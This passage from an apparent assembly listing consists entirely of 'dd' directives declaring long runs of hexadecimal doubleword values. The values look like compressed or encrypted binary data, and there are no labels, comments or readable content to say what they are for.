87CEAF3Eh, 0E3CF8936h, 0F52CFDC0h, 9CA8030Eh dd 3DBB8A61h, 26C14F90h, 123589Fh, 0B0DDA521h, 405566ECh dd 9DEDB290h, 0C6043F00h, 0FEFDAF12h, 83D50113h, 1B21A834h dd 4755EC18h, 3200417Bh, 46E64B11h, 0C4986Ch, 6F7FF892h dd 99EBC2A6h, 57655800h, 0DF68D083h, 71523C04h, 4A628102h dd 0A880B809h, 36E9AC37h, 0D2BE4801h, 0B541C539h, 3E73B2DCh dd 29E7CE9Ah, 342B101Ah, 0DE028105h, 0BA4B07A3h, 9EC80EBh dd 0B22714h, 0DD59B18Dh, 0D4F457FBh, 22C1A200h, 0C9B879E6h dd 10A06F30h, 0DF1F49E0h, 750F0E86h, 43C3A60Fh, 485CB748h dd 0FF00B120h, 0F0F92FBCh, 640F8075h, 40572070h, 65B88405h dd 395EE9Fh, 4212EEF1h, 8800ED0Dh, 0FCFD85DEh, 0E99EFECCh dd 153C60h, 3A4E1E32h, 0AD1C3DA6h, 0D6DB2C01h, 3621C208h dd 779EECh, 0FC634FF8h, 8C2B4E94h, 38000C90h, 0FD51D556h dd 39FF9CBh, 5B457DE3h, 200190AAh, 65B2A39Ch, 0FEE85D46h dd 625282Eh, 677300D0h, 980A20C5h, 45007F8Dh, 805B88FAh dd 31F4394h, 99085D29h, 30037915h, 0FF565F41h, 4B114C6Fh dd 43E46900h, 97454449h, 0F164190Eh, 4235034Dh, 6F6298CAh dd 141B00D1h, 5827A9ADh, 831C2595h, 9B40EFF3h, 20B74F80h dd 0D378009Ah, 7AEBA16Ah, 70001CC6h, 213D49FCh, 3D404A39h dd 0F23AD5B1h, 439B2B00h, 735A687Fh, 32108B00h, 411869DBh dd 0D85D003Ah, 0BA625390h, 0D4007D08h, 0F86EB8A9h, 17D64Ch dd 0A537C858h, 0C61D9F90h, 48A8EB01h, 786509C9h, 0C80720h dd 0E4174591h, 0BFEAB18Ah, 0BC00D3E0h, 95503AFCh, 3EDD19B6h dd 5B80AEFFh, 0BD8EEDD9h, 0EB0F865Ah, 0A1478FBBh, 0BE4A8402h dd 0F98B820h, 27DBF9A9h, 5F447FE0h, 0DD1EFC94h, 6D408535h dd 2588D7E2h, 98BE659h, 48922BF5h, 3DB9B100h, 5200D572h dd 6DB29CC9h, 0EE3606B1h, 60800085h, 2C10CAA7h, 553FE4CCh dd 89A60058h, 0C19D6141h, 71813F8Bh, 76675B00h, 0D985FECBh dd 0ABD6B400h, 0DE16FC7Ah, 8AB80F34h, 2420579Ch, 70F04DD2h dd 82525904h, 88D0C47Ch, 2EBFD46Eh, 0B222A93h, 330360B4h dd 0B3CFE0C7h, 1DC0734Ah, 9CE668CEh, 0A2724D00h, 0FDFED02Fh dd 7A550093h, 82D4147Eh, 5C789B80h, 0DE5F7D00h, 7381E413h dd 683760E0h, 57A3D6ECh, 863E1C73h, 9831EB7h, 790C014h dd 58D481CBh, 2898EC86h, 2E1CF9D3h, 0E818EB2h, 118EC6BDh dd 0A1D4BF82h, 0A0CA108Eh, 0C8D5001Ch, 0D0CB4F50h, 0EA0349E8h dd 0E4D3CC46h, 0A859F009h, 0F71F0074h, 0C4BD2882h, 9B003E30h dd 69F9D4B7h, 0E32A3A9h, 61BF58D5h, 8A546880h, 503878Eh dd 479E8013h, 8777E2C0h, 0A02E8438h, 63B752A9h, 0CF9700EAh dd 2ACD3330h, 0E1009A3Ch, 0FF1805C3h, 266B72Dh, 0B9BD1BB6h dd 8C98ABD4h, 4503575Ah, 58BE1738h, 6284A060h, 55D09092h dd 72CCD4E1h, 3F30DE37h, 88C1A78Eh, 0ADA8A360h, 0C056203h dd 2078D8Bh, 220EC700h, 930DECh, 1718321Ch, 853D4BEEh dd 9BE56E01h, 1B82368Eh, 0D321C8FBh, 5837F2F2h, 6A00199Ch dd 0CC63B090h, 1E009381h, 0FA4E538h, 0E8D00E5Fh, 544C0016h dd 0D73B036Bh, 8C1B6DC7h, 0E8A9EBCEh, 0F580DBCh, 0E804FCD0h dd 0B9A2E686h, 0AB21B00h, 8CB37AFh, 66D3E850h, 21450820h dd 0AF109100h, 0D1F62E84h, 194A60A2h, 0C5B6CC0h, 42BF2907h dd 72A09F7Ch, 0E6CFD844h, 485518C3h, 8D9C811Fh, 2E385360h dd 2CB2EF47h, 15813Dh, 0F8156AC2h, 602C16D9h, 0C5188A0Dh dd 0E81DECB9h, 56E33085h, 113C0B11h, 0AEBD0E12h, 0F7D45806h dd 21CD6008h, 91133F2h, 6EEA9500h, 0CCF9D5BFh, 1EA13047h dd 0A055AA58h, 3E84D852h, 0F02C381h, 70CB3CAFh, 94107E31h dd 4C03AF75h, 6ACF51D2h, 9C84C126h, 905880FAh, 1F08BFBCh dd 4E3629D0h, 48A3B158h, 580C3204h, 8906D9B7h, 0DDE420F5h dd 0CD36C97Ch, 0E4F01874h, 2593050h, 6A5ABE10h, 8264F100h dd 2F24EE42h, 3C26F632h, 8107F984h, 60AE8396h, 0A7D9EC4Eh dd 3A928800h, 0E1357E89h, 0E8EA0028h, 0AC78725Ch, 41482CFBh dd 8B3A2C4Dh, 54405507h, 60AD7D60h, 0A2F895EDh, 5F1D6500h dd 8930E267h, 904703E6h, 21D68F93h, 54B05CE8h, 28EF8607h dd 0C6D06A7Bh, 7B519971h, 443A3CA6h, 0DB20DA80h, 0BBACB7DCh dd 34D85F07h, 0E600184Fh, 897864h, 0DAC99FF1h, 0F362778Ah dd 4F073800h, 0C1ABF72Eh, 138000AAh, 8B30ACE8h, 0B3E3C46h dd 6D4500DAh, 72BA3EA2h, 8A6F0E92h, 0FC60BEABh, 0D14E309h dd 0B4502201h, 3ED17CE6h, 71B2C1D4h, 570E090h, 0E9603C77h dd 2C4380F4h, 0AD00ECA3h, 7DFE89DCh, 1A8BC71h, 54D9ABC5h dd 0C022D3A7h, 8F07B6B1h, 0D63A0B4Fh, 80F27323h, 1625FEEAh dd 149BB43Dh, 83386545h, 0DF0FA43Bh, 13006DD2h, 148F12A3h dd 874A3Eh, 0C6A4615Bh, 5E3830h, 0C72A76E9h, 0F7EA8B82h dd 740ED801h, 0DAE7716Eh, 37EF920h, 0B7EDE099h, 13EB64C1h dd 0BC703Dh, 0D7CA4BD8h, 0E48F23CFh, 5F9D0796h, 139A70D2h dd 0BBE061E6h, 0F500EDC9h, 8AE7E3EEh, 487C718Dh, 0DA0100FEh dd 28D5AA75h, 0D85CE10Ah, 0D7069DF9h, 12FD6634h, 31410768h dd 0B0AB630Fh, 6AA38368h, 1A653C00h, 0D83DA1F3h, 86E30091h dd 88A21237h, 1D016E48h, 4FD3329Ah, 0F761117Dh, 7B99F0h dd 2C5D771Ah, 4936C894h, 7609042Eh, 5FC0CC02h, 0BCD8C0EDh dd 0F8AC00E1h, 0E280D53Fh, 0DCB42DDEh, 345BB400h, 696D18h dd 271F0608h, 0BCA81691h, 52FF0117h, 74811100h, 0FCE09FCAh dd 0C83C00EFh, 5FA443A3h, 1F07C4AEh, 5A5514C5h, 326FE01Fh dd 0AB09407h, 1B73A831h, 0ABD1009Ch, 2A6E2D4Eh, 6FF7C14h dd 25831E84h, 0DE937B4Eh, 9F8A3A80h, 0A8C20F7h, 38AAA174h dd 73FD00A8h, 3035264Ch dd 51B4E800h, 0DB2347EFh, 0A1D100AEh, 0B6E72A48h, 9200031Ch dd 7B12663Eh, 5AF0BAh, 0BE7251CDh, 249AAAB0h, 0B50B4805h dd 0E840E0F4h, 39D70DE5h, 559418EEh, 8DCCD65Dh, 0C3600900h dd 0BA46ED59h, 0C76D00D9h, 39157623h, 8107B8E6h, 0C5DB02D0h dd 6819E480h, 69B101A0h, 4934EB7Bh, 0FA5BE46Eh, 33508700h dd 4191718Eh, 0C6D0C02Dh, 0D8E8A87Ch, 0A4C7C824h, 245EDD00h dd 0F3051Eh, 0E906036Fh, 5BA13595h, 680D1600h, 0F585CEB5h dd 9E481D9Ah, 47458041h, 0AD24E33Ah, 0D7010490h, 8BEB2C02h dd 34248491h, 1876E0E4h, 1011B8B3h, 0A9021FCEh, 0A6ADAE5Ch dd 0F35C408Ch, 0AA888BFDh, 0D4783062h, 269AE400h, 0A759615Dh dd 77527CDDh, 691E01B2h, 2291EB23h, 9E4C20F7h, 6CB81F03h dd 986FB6FFh, 78269Fh, 0ED9C65A8h, 3BDA98A1h, 4E31AC07h dd 0F6B64BE6h, 0D40F0038h, 0AEA7FC6Dh, 0A600E4ABh, 8AFE2DB7h dd 334A171h, 1AA9655h, 0E0C76B6Ah, 425D3C84h, 17A7D41Ch dd 4E2BCC80h, 7191AF0h, 0E5F810C9h, 60C2040h, 3100C4A5h dd 5C0238DEh, 0E25491D2h, 0BB621D4Ch, 0DF4E0959h, 0B617890h dd 7CDC003h, 0BFDB10D6h, 2C03BB9h, 2CF1BD41h, 34607052h dd 802C083Ah, 0C70021C8h, 61257239h, 0AF6700A1h, 0AC0E5E8Fh dd 0D7739B47h, 16DF7600h, 3D9E68F1h, 1DCFFC58h, 66E77431h dd 1D02033Dh, 68D0AD97h, 2F1F3A09h, 0EA641880h, 23C59204h dd 3E4C84C0h, 0FCCE035Dh, 0BBF5BF66h, 0A0988DB8h, 0E02E4228h dd 0AFE48h, 909A4EC6h, 0FA1621Fh, 1595B2CCh, 6A6C6820h dd 0D207BF37h, 61676F72h, 6BE504C2h, 6D59C984h, 0F11A24F4h dd 81A6ECh, 0E6BB6590h, 0D50E6C0Ch, 910D130Fh, 667EE04Ah dd 439DC9h, 41C16501h, 0AE33FF7h, 741CB09Ah, 0B6825FE6h dd 63D866AAh, 400CAA38h, 7BA44h, 5CEE40EFh, 0DAE9E41h dd 421BAB00h, 91423C6h, 8CF8481Ah, 24AD6802h, 28C0B677h dd 0A1F963Ch, 0EC1A76Ch, 4882D04Dh, 9A99F8h, 1FF2D760h dd 2ED6098Ch, 3540D90Fh, 83422033h, 3316656h, 749CBF71h dd 50769908h, 0B3B19D09h, 0C7CC2222h, 57A0A046h, 1DC393E8h dd 35CEA5Fh, 5ECE7D0Ch, 40B03F81h, 8953A2ACh, 0C1760800h dd 48913675h, 43C209E2h, 0E703268Bh, 0D0C8C07Dh, 970F8389h dd 0C411CA18h, 1481C853h, 0C840C526h, 0BF6407h, 0EB0EF195h dd 16574D4Ch, 3435D100h, 0C306B396h, 325000FDh, 1A2DBBD6h dd 0A70210C8h, 55F1B2BDh, 2714E07Bh, 0FCA900E3h, 40AE1E6Bh dd 991C6FD0h, 2040CC8Ch, 16844752h, 0C218C041h, 263EB93Ch dd 0B7E99D0Eh, 0BCC1BEE1h, 6787DDECh, 1D34C9D0h, 4F39A4BAh dd 85A74677h, 59E52006h, 5100786Fh, 87382A1h, 48138140h dd 0CD0390A0h, 75E4EEA9h, 0FB5114Ch, 20F59965h, 4A56749Bh dd 0AD5C0953h, 28002752h, 82E92C7Ah, 0D070BFh, 6E3DB90Dh dd 2A4523BDh, 0E24D6507h, 3FB09B3Ah, 118A5A1h, 99D6919Ch dd 0C42149C3h, 830641D4h, 15690ADFh, 0C0FE03E8h, 63536879h dd 0DC37BBD8h, 0B74B5800h, 74D43AA4h, 0DE280043h, 0F30FC6Ch dd 809ADC15h, 0FFBD8500h, 38E2254Bh, 0B49900CDh, 0DA266FB0h dd 0B800D531h, 2453EB5Ch, 0BEEA7C8h, 0FB23B458h, 7AA3BF81h dd 0FAC6F842h, 6CC1D701h, 7EEEB2A8h, 0E60E2C20h, 0A3B10A2Ch dd 3A0840B5h, 0C0346682h, 0C068F9D1h, 0CD011C78h, 0F4489091h dd 0C7D0F897h, 21FA6036h, 9A2DD10Eh, 86E76D00h, 0F4100F14h dd 0F829E04Eh, 0B23A745Eh, 0C9B41798h, 0D8480E06h, 81339A80h dd 28C00112h, 0DD8A6642h, 0C13CA3D3h, 0DC24CD6Ah, 9A75384Eh dd 6ED61Dh, 0F89EC207h, 642E5C35h, 30068DFh, 8EA8AE7Bh dd 5F7C0FA3h, 6180C2DDh, 0BBE5DB12h, 3D0BF124h, 0B5E44F1Fh dd 445F2400h, 7738A3h, 4EDC6D5Ch, 0F7605B48h, 31F4C903h dd 0CFFF1D16h, 19525770h, 0FCB73E6Dh, 55A7F703h, 0A3A03B4Ah dd 0C50065BAh, 30AF6A52h, 13AE0Bh, 0C1C7878Dh, 2BF1C7Fh dd 1D01FCE2h, 78F3A172h, 4CF0C3E6h, 0B9850099h, 6C4163CEh dd 0B800E1C7h, 0BBE2E0CCh, 765E31Bh, 0DB5B2D26h, 17BAD1A5h dd 0FA35F809h, 520558FCh, 13C036A6h, 0A5EBA800h, 0D9295Ah dd 0B031ED38h, 0AC1ED78Ch, 8FA3B00h, 1C0196B9h, 9529008Dh dd 0BB580FD0h, 0D8717415h, 3F82E300h, 0F61A2B53h, 0CF749Eh dd 54985E8Ah, 4C277A45h, 2D3DB48h, 0BA47B0C7h, 0E754E8F1h dd 3DB5F603h, 0C00088C9h, 15C3A158h, 8EC128AAh, 5C31C509h dd 3477024h, 0E505F60Eh, 60B8C64Fh, 4E3DDE1Fh, 0E98E80C4h dd 0AE7216C8h, 85C204E7h, 0C00DAA27h, 0C1FD78B8h, 0B1385C00h dd 0C3A51CFFh, 2A8300D4h, 0B82F2448h, 185CDBA9h, 21D51770h dd 0C629C200h, 8FB554h, 0D75CD47Ah, 97EB6025h, 9B3FAA00h dd 0A1534964h, 0A3FD078Dh, 41353057h, 2AE3A2EFh, 0E4223B00h dd 994210h, 0B9A91EABh, 776C0469h, 0F48E5900h, 646002ECh dd 2E88E61Ch, 920A8D2h, 7F9A4Fh, 0E98D7969h, 0ACC2188Eh dd 0A6FDC8C6h, 0C163BF05h, 93C2FE03h, 0E0704BC3h, 0BDECBBh dd 117E6CAFh, 0D4FAE70Dh, 0A0330B00h, 4617FFCBh, 0EB0F0167h dd 9A2BEC39h, 2F01E4C1h, 0D888FC13h, 80A910h, 0A7357B08h dd 19D52AE6h, 188D169Bh, 0D0F9C051h, 9921548h, 24E6CE71h dd 0CB34FB4h, 8BC0B401h, 0C4B248B9h, 0F4A06D99h, 7425114Fh dd 1B488017h, 96A90h, 0E5DC9267h, 5F78A538h, 820057E2h dd 0CB434A01h, 161B0EC9h, 7E0A2Dh, 54BFEB4h, 8FEB65F9h dd 0C0C591DCh, 2CE1949h, 0BF8CF79h, 0CC9D9B00h, 5600ECACh dd 71D82B63h, 887905h, 189A9050h, 1251E347h, 0EC1A4500h dd 38E83286h, 0FCEF00BAh, 5ECBC789h, 0C6009520h, 2F1728B5h dd 1FA61E6Dh, 0DD382550h, 98E289DFh, 36FD880h, 7E006755h dd 0FFFBF1A4h, 0F2040C3Ah, 0F00209ADh, 90A0B227h, 1921E0FDh dd 0A775E700h, 99103593h, 8225017Ch, 0F72C39FBh, 0D69EE083h dd 0CAC2F150h, 0ADF5897h, 0CF66557Eh, 0EB9200C4h, 83FA3F26h dd 0A0D27100h, 545AAAFFh, 7B600296h, 2AF32243h, 0D7A0AD43h dd 0BA00D6DFh, 916BB1BCh, 3FE0303Ch, 6A01C184h, 9FA60C2h dd 13B034DCh, 0A6404896h, 70FCF53h, 8CC797ECh, 446EE1ABh dd 7ACBE87Ch, 0A9EE9615h, 69E212FCh, 47DE840h, 549AD1Ah dd 9E82C70Bh, 0C84493DFh, 174BB0F0h, 23A13Eh, 0D1802463h dd 0F499ABDh, 22780CACh, 0C0E78EE5h, 28B130CCh, 980096F6h dd 1C0D319Ah, 18184FDEh, 19F2B346h, 0FD073226h, 0D916FA81h dd 0C221F440h, 4A730723h, 27E2D7BBh, 78C3B0AEh, 75007757h dd 0E520955Fh, 4F08F9A6h, 483C03BEh, 0B3C0440Ah, 0E4E2F81Eh dd 56F4A600h, 8C2CD49Eh, 70CC5C25h, 176A958h, 0EE42B8F5h dd 0D46A6365h, 0F067BA7h, 0CD534851h, 16EEC28h, 0B050177Ch dd 0F46BA354h, 0FF01D7B8h, 0EF4439C5h, 93C4DE57h, 0A7C24CE1h dd 0C61DE84Ch, 5F7E1F30h, 1670C3F4h, 42A105E7h, 34AC40E4h dd 7700E314h, 0F39F07FEh, 5D028A75h, 7800F4F7h, 0BD5064ADh dd 3398B3CFh, 9DF41900h, 43F24FA2h, 0BC8C25D2h, 0EA0DA000h dd 811F3F3Ah, 0F8051B6h, 0A6C3272Fh, 0A7C21982h, 0D4AB1880h dd 0BCF2EE97h, 43483C03h, 0C0C5933Bh, 5D2DECh, 0C705762Eh dd 31771F96h, 1A650400h, 0DA5BF949h, 0A0C90168h, 7A97FC47h dd 0DD57ECBAh, 0AD657600h, 93A85160h, 0BDC43B3Fh, 60C4002h dd 6868E1C9h, 81005AD6h dd 0E7F083AAh, 2E6A8F5Eh, 3FDBF9B3h, 176C1D00h, 0A313A67Dh dd 743D863Dh, 0E3284E03h, 1CA54A6Eh, 80F4BE18h, 81189397h dd 6602B20Fh, 0A045E03Dh, 15C540EFh, 436000E7h, 1320EC84h dd 0B002697h, 2814AC4Dh, 350D18Bh, 80376A8Eh, 201E49F3h dd 0E1C0BA04h, 38F2BC3Eh, 7A460CB4h, 0AC58CAE9h, 9391A712h dd 7C703500h, 8E7F24h, 0ABEB4C9Fh, 3C845549h, 0F7A8D00h dd 0C96FD190h, 96F699h, 7E7C234Dh, 0BF58D95Bh, 0E7D7AF00h dd 344CB3C6h, 0A01E3D98h, 2024D200h, 674B5BEBh, 0F40EE3EAh dd 6EC8EC95h, 40DA0DFh, 0CA9BB9h, 2BE6CD99h, 5B2FF4CEh dd 0C6FD8E05h, 1C08927h, 80FE70h, 37233DE6h, 7A625926h dd 0A61DC83Fh, 3F008D4Ch, 38AD42B3h, 0B2030491h, 0C06B55ECh dd 0A777F3BDh, 9D3D4A03h, 0B8D807F4h, 3B0938Eh, 56DC6A1Bh dd 0D1A055F9h, 5B5E7719h, 4200B3F8h, 3A88CEBBh, 44E66F89h dd 0FA7ABF00h, 338C2002h, 46A60074h, 6D2CD535h, 3EF01093h dd 0E1287960h, 0ABC6EAh, 2C06E7CFh, 5A6C1AFFh, 3E3F5900h dd 92148091h, 0BB0D0084h, 23C3FA8Eh, 0D00035FEh, 6E651A3Fh dd 36B0B93h, 1D6C9540h, 8F36D5h, 914F0F4Ah, 416EA1Dh, 0EDAEDB80h dd 10AF2ACh, 4D2AE836h, 0E49FFFD3h, 1F717E5Eh, 990B4800h dd 7B2D4C8Bh, 0C7BB00B7h, 757AE152h, 0A900C4BEh, 0DC2C1679h dd 0E7667Fh, 3BBABBEAh, 9BEC668h, 804A1800h, 0EF2658A7h dd 0B91F036Bh, 90E5EE31h, 116713C0h, 9C925D03h, 0F015E189h dd 0F93D77h, 7ABDA1E4h, 0F8C72365h, 0BCAEF71Dh, 54D2AA80h dd 0BBEF43h, 6167E7B2h, 3884785Eh, 0EB0AF018h, 0BC6618h dd 0CF02F9A7h, 827FCAFFh, 0B5179B0h, 0D204DA10h, 5628FC0Ch dd 701845E8h, 6BC9B778h, 6134A05Eh, 3DF3EEB1h, 0F6805167h dd 0C0B7C802h, 1400F12Fh, 9E38E25Dh, 23BE1A5h, 6A5679EBh dd 0EA60912Ch, 0A60708B1h, 0D673FCF2h, 2878E6D6h, 1558F738h dd 68616CDFh, 0A5226206h, 690528E5h, 7B7044FCh, 243D4C00h dd 722EFh, 9FC1D72Bh, 9EC3DE2Ah, 0B9AE8818h, 1826EA48h dd 0B9620AFEh, 9B3EF287h, 7850006Fh, 38FF72BBh, 103B010Dh dd 0A054BDBCh, 0C5E470F4h, 0E9E07800h, 4683F83Ah, 0B568002Bh dd 0F48D0AE3h, 8E00D147h, 0F6BAE852h, 0C344A0h, 0D3CFA850h dd 62EA23C5h, 0F3A23A00h, 0FF6F4135h, 1F2A7A06h, 7FB707h dd 82FD2E4Dh, 0C51FD536h, 4E403549h, 720C0E54h, 87D900A8h dd 39F7E99Bh, 5FC84B5h, 0D4DA1E00h, 23E14686h, 776C008Bh dd 66B37A13h, 0FA063B06h, 98E33571h, 0F90D0050h, 82CED2ABh dd 0EF0EE0D3h, 3DF024F5h, 2034B60Ch, 0CF0B3865h, 0C674D107h dd 765F405Ah, 404CA7B3h, 4C3E18h, 3B129F10h, 60877BD4h dd 0D3F1824h, 70C8F90Ch, 0CF07C0DEh, 0F846D387h, 64709F22h dd 0AA2BCF00h, 5CDE6A86h, 5E3300DDh, 12D463FDh, 8D184596h dd 98504B2Fh, 5459C04Eh, 1B23F207h, 1E94E703h, 0F0DB508Fh dd 6DC4BBE6h, 8128A0D6h, 5AA01738h, 1180105Dh, 0C8981EDh dd 87193C75h, 0A4098E30h, 704D2180h, 0E56A6C89h, 0E603C67Bh dd 133410FAh, 0BD6B871h, 31F23086h, 0B5481561h, 47B86101h dd 4FAFA71Ch, 21400898h, 0B57DDFF2h, 0A58CDA0Fh, 0CBAB61D7h dd 9C41433Bh, 0FCC0AC52h, 0A89FF313h, 38D88CBDh, 60397810h dd 590600F1h, 0F039499Ch, 4A15002Eh, 98DCED51h, 0EE0576BAh dd 961E9A84h, 5953C0EAh, 0FF00AE99h, 0F99F7DB4h, 0F66D3Ah dd 26D5D88Ah, 75A05AD7h, 0B8401705h, 84C5F2CDh, 853D5080h dd 52240021h, 0B6787EE5h, 1907BE9Bh, 0AF08B87Bh, 0A9C77205h dd 22F862B0h, 780A0035h, 0C8CB8C7Eh, 0C17EAF73h, 54E8F100h dd 46EDCC87h, 0B9D013Eh, 0B736D825h, 31D4C4A5h, 47095Ch dd 67604ADh, 0F80357h, 29949C02h, 97E20135h, 0AF7CC100h dd 75F16E44h, 61D43DB0h, 14603101h, 0C8855F2Eh, 9200864Dh dd 76936CB8h, 12D847h, 0E81EBE8Bh, 78A64823h, 5254AC01h dd 0DC47CF1Dh, 0DE67CCh, 0B8B7E82h, 0ECA7E457h, 66DF3003h dd 0A8A3BBEEh, 7FD6C2Fh, 710C3208h, 6DEFDF01h, 155BD700h dd 0AD004B67h, 0CBAA6A14h, 7A6C9FF6h, 23B40035h, 72503D8Ch dd 700039A4h, 0C3B9E174h, 7A9F763h, 83461257h, 0F022A02Fh dd 7C00C46Fh, 90A7E15Eh, 1FC320FAh, 40B64995h, 0D5CB563Bh dd 0C148E9AEh, 2353164Dh, 4A41DB00h, 0EC804870h, 469B0062h dd 7167AC3Dh, 0A70016E9h, 8BAAB2A9h, 5E95B1h, 859C4B2Ah dd 32090BD7h, 11DB38h, 6AD0CCCAh, 9377B6h, 0E296BC7Bh dd 0F572ACB4h, 0C0F27303h, 0F87CEA97h, 0FE660219h, 59EF193Ch dd 0DC273079h, 0BF7680EEh, 9577A700h, 56DDAE55h, 68543914h dd 1E92B880h, 0D063E6EFh, 0E778E200h, 0F8FCC94Ch, 18C4A4C5h dd 389D5695h, 59730913h, 1FF1B701h, 1BC40EFh, 0AFD63080h dd 8CE08F6Dh, 0B311C700h, 66EB2861h, 8D2000Ah, 5F05D3C8h dd 6305B34h, 82B3A02Fh, 0B0AA00F0h, 5C898AB6h, 0A003E310h dd 5F173C78h, 0DB0AE097h, 92030022h, 4A234195h, 0A0004E38h dd 0B9A6BFB1h, 1D11674h, 6094D067h, 40ECBD54h, 388E8190h dd 833C0300h, 59E3991Eh, 0BDEA0Ch, 445FF44Bh, 0C4DE91C9h dd 7700E8B8h, 0DAF2F56Dh, 1764A3h, 9FBB2208h, 45FF7682h dd 66543C00h, 1E31F346h, 0A3410574h, 0C01CD678h, 3D614E11h dd 0F9F7571Dh, 0F249C240h, 0B0152DA8h, 50E20E8Fh, 0E02020F3h dd 22FD042Fh, 0DE459F04h, 0A880FE5Ah, 0D08352h, 6AD74DF9h dd 27E3CA94h, 0BC43F600h, 52FC0B8Fh, 0E1033D65h, 4ED07B80h dd 9056C9EFh, 0C1CB1800h, 632FB12Ch, 0B9E000A3h, 4AB422C5h dd 7B126265h, 505FC2DAh, 693055C7h, 26B2F8F7h, 99481B8h dd 0A040D098h, 0E95096h, 0F4C3D43Ch, 9D0D54A3h, 0B3BAFF01h dd 0C8B6E1F9h, 0C00C20h, 0B2D0D747h, 0DDC48D05h, 19C57C00h dd 2AF013C7h, 73CC3CF5h, 5B299E00h, 0E402BE8h, 3A2020EFh dd 198F863Ah, 293E780Bh, 0D782DCh, 0A8D21897h, 339EF166h dd 0FCAD4E0Ch, 7CB8D0DAh, 46CE393Fh, 0C661EA00h, 57C70479h dd 3B9CDCA0h, 459E0C00h, 1C074DEBh, 94AF0C61h, 91B1FE84h dd 0D3A04700h, 6555DB5Bh, 0A64A0792h, 0D0962806h, 51759A20h dd 0A5DC9000h, 53E31D01h, 0DF320074h, 89E06899h, 0BD134A5Dh dd 140006DBh, 3241085Fh, 0A31C0A52h, 0A4CB17h, 7D0C7FA8h dd 190111E7h, 3A95468Eh, 0DC3084C2h, 0EBB8005Ah, 450F178Bh dd 9407D206h, 21E254B2h, 9333DA10h, 0C7B066h, 6053A2ABh dd 0E934F212h, 2D78BFh, 4C8C889Fh, 656B5148h, 0C2095A72h dd 8720A437h, 26B08AC6h, 8242C7h, 300E4E01h, 6CEC641Eh dd 996AF309h, 0E7E3009Ch, 0AFD96Fh, 0EE68BA88h, 0FE141024h dd 1DE8C607h, 90F06EE5h, 9A05DBh, 497FF4A4h, 0FD5A642Bh dd 23BD5B03h, 0F0387607h, 0F3D617h, 0B87A969h, 743EAEA7h dd 4FC6DC00h, 1B13FBD5h, 98BE01B6h, 0F0E530EDh, 8046DDA0h dd 25949A88h, 7AE128D1h, 0D76300B8h, 0C4B33459h, 0EA00F631h dd 0C783E78Ah, 0FC0C8621h, 37670974h, 98003962h, 8410C5C9h dd 53F10A2Eh, 0D726C020h, 6200C0BDh, 96DB5A8Ah, 3D03008Dh dd 65E7959Bh, 5E0C3115h, 5C21764Fh, 0D6A801F1h, 7F2A6EEFh dd 1CDCC4A9h, 628B3600h, 992CBE5h, 6B5700D1h, 0CA035990h dd 4E06C40Fh, 0FC8F2BB9h, 43E918B0h, 101890F7h, 9F9538h dd 6CC5F19Ah dd 4C1F0536h, 9D007478h, 0E983EA58h, 0E09A98D3h, 85E17A04h dd 0C490347Fh, 182CD545h, 10B771A8h, 0A000A2C5h, 401FD212h dd 2FB011h, 18CDFFD0h, 1E43C68Fh, 290D648h, 2E9199B1h dd 0BADC6813h, 4B5C001Bh, 60EB19A7h, 0D07C9A94h, 4AF68000h dd 0E1F014C6h, 548500B1h, 0BB907E43h, 30058BB9h, 0E659FF3Eh dd 2E6E9430h, 2A07287Dh, 0D0C500A4h, 29D75FA1h, 0C002254h dd 89BFCDB4h, 36975C2h, 10CA4A20h, 302C2B0Dh, 9E0791D1h dd 0D2B0F5F1h, 1DE1E9h, 0EB98D36h, 58013180h, 6DECAA0Bh dd 60C80E4Ah, 980B06B8h, 3E9091h, 841562Dh, 0DB6001B1h dd 84A1E607h, 1B335ED4h, 0C6B4885Ah, 0E86C014Dh, 727EA971h dd 8849F08Bh, 83B78D00h, 73628E5h, 8CEB53B1h, 62A44E07h dd 7F8822D1h, 52B0A840h, 4ACA2800h, 0C7DC8324h, 7FC7BCCh dd 2B74B530h, 809DA0AFh, 69018E92h, 3F234BBh, 0DE700D0Bh dd 0BEE260E4h, 0D97A1AC5h, 7395EA3Dh, 7701DE76h, 395DE175h dd 0B9F9506Ah, 2B5AFCh, 0AFEC9CBh, 29515FA0h, 94DA8203h dd 0F00D4A8Ah, 50FC7F4h, 7DBA586Dh, 69DCC116h, 0DFA8C745h dd 0CBA06FCFh, 978EA20h, 10002578h, 83ED6C4Bh, 0F09314E2h dd 15940063h, 0A011E182h, 9E004D0Eh, 19D96223h, 1259E2C8h dd 6D479Ah, 6EE1C0DBh, 570F5261h, 0AC6B3CA7h, 1D046026h dd 30ED60F9h, 1100370h, 0A8F59901h, 0AA9FB7FEh, 98231880h dd 0BEA6B806h, 0D011CFh, 62A77646h, 43BC00E7h, 8D09C6E0h dd 0AD0E4159h, 81195149h, 15D16989h, 0F75930h, 366F6317h dd 0C3EDFA6Bh, 0F67CC500h, 9DA8D594h, 27E0F55Bh, 4E901B6h dd 4CCE1BA7h, 1FA98032h, 2942308h, 0A8DE0721h, 0AA2D9F01h dd 16038094h, 6687B7FCh, 59431C0Eh, 34152007h, 7CD9061h dd 692BD3CCh, 9DF70060h, 0CEB00A44h, 0B0F63F01h, 216B07F3h dd 139D7E8h, 9A6ACA57h, 6065C3C7h, 407C012h, 11ED3E1Ah dd 0C2FCE8D0h, 0A00B1D94h, 89F380A9h, 0DB36AE74h, 4400C1E6h dd 14C7DAEEh, 3C428BCAh, 529FA2ECh, 0D42DC0DDh, 0F7898F47h dd 9B038DF0h, 0BF9D4C35h, 85B2EA6Bh, 48801AD0h, 3AC9F2BBh dd 0DD0EA414h, 0FB005FBCh, 0CC8B3027h, 1A315500h, 70AF19D1h dd 87FD3CEBh, 69AD1Dh, 248AD6EDh, 1B00C527h, 4656662h dd 0BCEED4h, 0C3BBB315h, 26972C53h, 0D8369D00h, 0AE2A82F3h dd 3C9141h, 0B75CF8A4h, 0FB0CF621h, 8E689EDh, 0CA21C0B1h dd 0B4465CF0h, 0DB00B57Eh, 826AA71Ch, 19F29Ch, 0D00B1D2Dh dd 8D8E9E61h, 349FE8A0h, 6E63CA00h, 771D2CF9h, 5120D8F6h dd 1F1FC804h, 1170FCB9h, 128A50Ah, 0CDA3A76Fh, 98DB9F08h dd 0DD213808h, 792800ACh, 0D394655h, 0C302CE8Fh, 226A321h dd 14B8605Dh, 0F977364Dh, 0BF466068h, 6528A302h, 3731B3A7h dd 28AAEB10h, 58BFDA70h, 0BA720070h, 21172557h, 3450797Fh dd 0A1007E9Ch, 0AB1F3EC8h, 485CCF9Ah, 328602Ch, 10A260E0h dd 56FF2995h, 0E8A058h, 570A0DA6h, 0F46225A1h, 0CAF60028h dd 